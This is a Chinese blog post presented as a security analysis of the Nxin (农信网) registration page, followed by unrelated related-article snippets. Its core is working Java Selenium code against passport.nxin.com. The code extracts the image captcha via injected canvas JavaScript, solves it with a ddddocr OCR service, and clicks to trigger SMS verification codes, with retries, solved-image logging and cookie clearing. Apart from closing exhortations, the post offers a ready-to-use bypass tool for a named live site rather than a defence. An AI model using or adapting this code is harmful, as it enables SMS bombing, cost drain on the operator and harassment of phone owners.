【农信网-注册/登录安全分析报告】

server/2024/9/23 2:46:14/

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 农信网PC 注册入口

简介:北京农信互联科技集团有限公司是一家农业互联网高科技企业,以“用互联网改变农业”为使命,致力于构建最有影响力的农业数智生态平台,推动中国农业数字化转型升级。2018年9月,农信互联以增资前70亿元的整体估值完成B轮融资,成为农业互联网领域的“独角兽”企业。

在这里插入图片描述
在这里插入图片描述

二丶 安全分析:

采用传统的图形验证码方式,具体为6个数字,ocr 识别率在 95% 以上。

测试方法:
采用模拟器+OCR识别

1. 模拟器交互

private static String INDEX_URL = "https://passport.nxin.com/register/user";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);// 1 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[@placeholder='输入手机号']"), 1);phoneElemet.sendKeys(phone);WebElement codeInputElement = driver.findElement(By.id("ember258"));codeInputElement.click();// 2 获取图形验证码Thread.sleep(1 * 1000);String imgCode = null, imgUrl;byte[] imgByte = null;WebElement imgElement = driver.findElement(By.xpath("//img[contains(@src,'/register/verifyCode')]"));for (int i = 0; i < 3; i++) {imgUrl = imgElement.getAttribute("src");imgByte = (imgUrl != null) ? GetImage.callJsByUrl(driver, imgUrl) : null;int len = (imgByte != null) ? imgByte.length : 0;imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;imgCode = DigitFormat.getDigit(imgCode);if (imgCode != null && imgCode.length() >= 6) {break;}imgElement.click();Thread.sleep(1 * 1000);}if (imgCode == null || imgCode.length() < 6) {System.out.println("imgCode=" + imgCode);return retEntity;}// 3 输入识别出来的图形验证码codeInputElement.sendKeys(imgCode);// 4 点击获取验证码Thread.sleep(1 * 1000);WebElement getCodeElement = ChromeDriverManager.waitElement(driver, By.xpath("//button[@class='validatebtn']"), 20);if (getCodeElement != null) {getCodeElement.click();Thread.sleep(1 * 1000);StringBuffer alertSb = new StringBuffer();boolean isAlert = ChromeDriverManager.isAlertPresent(driver, alertSb);if (isAlert) {System.out.println("alertSb=" + alertSb);driver.switchTo().defaultContent();return null;}}Thread.sleep(1500);String gtInfo = (getCodeElement != null) ? getCodeElement.getText() : null;retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);if (gtInfo != null && gtInfo.contains("重新获取")) {retEntity.setRet(0);ddddOcr.saveFile("Nxin", imgCode, imgByte);return retEntity;} else {System.out.println("gtInfo=" + gtInfo);ddddOcr.saveFile("Nxin/err/", imgCode, imgByte);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {if (driver != null)driver.manage().deleteAllCookies();}}

2. 获取图形验证码


public static byte[] callJsById(WebDriver driver, String id) {return callJsById(driver, id, null);}public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";js += "let base64String = c.toDataURL();return base64String;";String src = ((JavascriptExecutor) driver).executeScript(js).toString();String base64Str = src.substring(src.indexOf(",") + 1);if (base64 != null) {base64.append(base64Str);}byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;return vBytes;}

3.图形验证码识别(Ddddocr)


public String getImgCode(byte[] bigImage) {try {if (ddddUrl == null) {System.out.println("ddddUrl=" + ddddUrl);return null;}long time = (new Date()).getTime();HttpURLConnection con = null;String boundary = "----------" + String.valueOf(time);String boundarybytesString = "\r\n--" + boundary + "\r\n";OutputStream out = null;URL u = new URL(ddddUrl);con = (HttpURLConnection) u.openConnection();con.setRequestMethod("POST");con.setConnectTimeout(10000);con.setReadTimeout(10000);con.setDoOutput(true);con.setDoInput(true);con.setUseCaches(true);con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);out = con.getOutputStream();if (bigImage != null && bigImage.length > 0) {out.write(boundarybytesString.getBytes("UTF-8"));String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";paramString += "Content-Type: application/octet-stream\r\n\r\n";out.write(paramString.getBytes("UTF-8"));out.write(bigImage);}String tailer = "\r\n--" + boundary + "--\r\n";out.write(tailer.getBytes("UTF-8"));out.flush();out.close();StringBuffer buffer = new StringBuffer();BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));String temp;while ((temp = br.readLine()) != null) {buffer.append(temp);}String ret = buffer.toString();if (ret.length() < 1) {System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());}return buffer.toString();} catch (Throwable e) {logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());return null;}}public void saveFile(String factory, String imgCode, byte[] imgByte) {try {String basePath = ConstTable.codePath + factory + "/";File ocrFile = new File(basePath + imgCode + ".png");FileUtils.writeByteArrayToFile(ocrFile, imgByte);} catch (Exception e) {logger.error("saveFile() " + e.toString());}}

4. 图形OCR识别结果:

在这里插入图片描述

5. 测试返回结果:

在这里插入图片描述

三 丶测试报告 :

在这里插入图片描述

四丶结语

北京农信互联科技集团有限公司是一家农业互联网高科技企业,以“用互联网改变农业”为使命,致力于构建最有影响力的农业数智生态平台,推动中国农业数字化转型升级。作为农业互联网领域的“独角兽”企业, 技术实力也应该不错,但采用的还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》


http://www.ppmy.cn/server/118294.html

相关文章

『功能项目』伤害数字UI显示【53】

我们打开上一篇52眩晕图标显示的项目&#xff0c; 本章要做的事情是在Boss受到伤害时显示伤害数字 首先打开Boss01预制体空间在Canvas下创建一个Text文本 设置Text文本 重命名为DamageUI 设置为隐藏 编写脚本&#xff1a;PlayerCtrl.cs 运行项目 本章做了怪物受伤血量的显示UI…

pytorch训练过程搭建及模型的保存与加载

1. 训练一个分类器 import torch.utils.data import torchvision as tv import torchvision.transforms as transforms from torchvision.transforms import ToPILImage import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable# 定义网络…

laravel 11 区分多模块的token

数据表&#xff1a;用户表&#xff08;users&#xff09;、管理员表&#xff08;admin_user&#xff09;&#xff0c; 配置bootstrap/app.php guards > [web > [driver > session,provider > admin_users,],home > [driver > sanctum,provider > users,]…

2024ICPC网络赛第一场

A 最终答案与中国队能力值的排名有关&#xff0c;具体每个情况手推一下&#xff0c;用 if else 即可通过。 #include <bits/stdc.h> using namespace std;int main() {ios::sync_with_stdio(false); cin.tie(0);int t, a[40];cin >> t;while (t--) {int num 0;f…

如何快速解决程序中的BUG

前提 获得更多信息 - 搞清楚为什么bug会发生什么情况下会发生、用户到底做了什么操作&#xff0c;才导致这个bug、是每次都会出现bug、还是偶发性、是否可以复现&#xff08;不能复现的bug&#xff0c;还能叫bug&#xff09;&#xff1f;拿到用户详细的报错输出明确边界&#…

3D云渲染农场为何怎么贵?主要消耗成本介绍

随着对高质量3D动画的需求持续增长&#xff0c;云渲染农场对于旨在以高效速度生产高质量视觉效果的工作室来说变得至关重要。然而&#xff0c;用户经常想知道为什么渲染农场的价格如此之高&#xff0c;理解背后的原因可以帮助艺术家做出更好的选择。 什么是云渲染农场&#xff…

《深度学习》PyTorch 手写数字识别 案例解析及实现 <上>

目录 一、了解MINIST数据集 1、什么是MINIST 2、查看MINIST由来 二、实操代码 1、下载训练数据集 2、下载测试数据集 运行结果&#xff1a; 3、展示手写数字图片 运行结果&#xff1a; 4、打包图片 运行结果&#xff1a; 5、判断当前pytorch使用的设备 1&#xff…

c语言--力扣简单题目(回文链表)讲解

题目如下&#xff1a; 给你一个单链表的头节点 head &#xff0c;请你判断该链表是否为 回文链表。 如果是&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,2,1] 输出&#xff1a;true 示例 2&#xff1…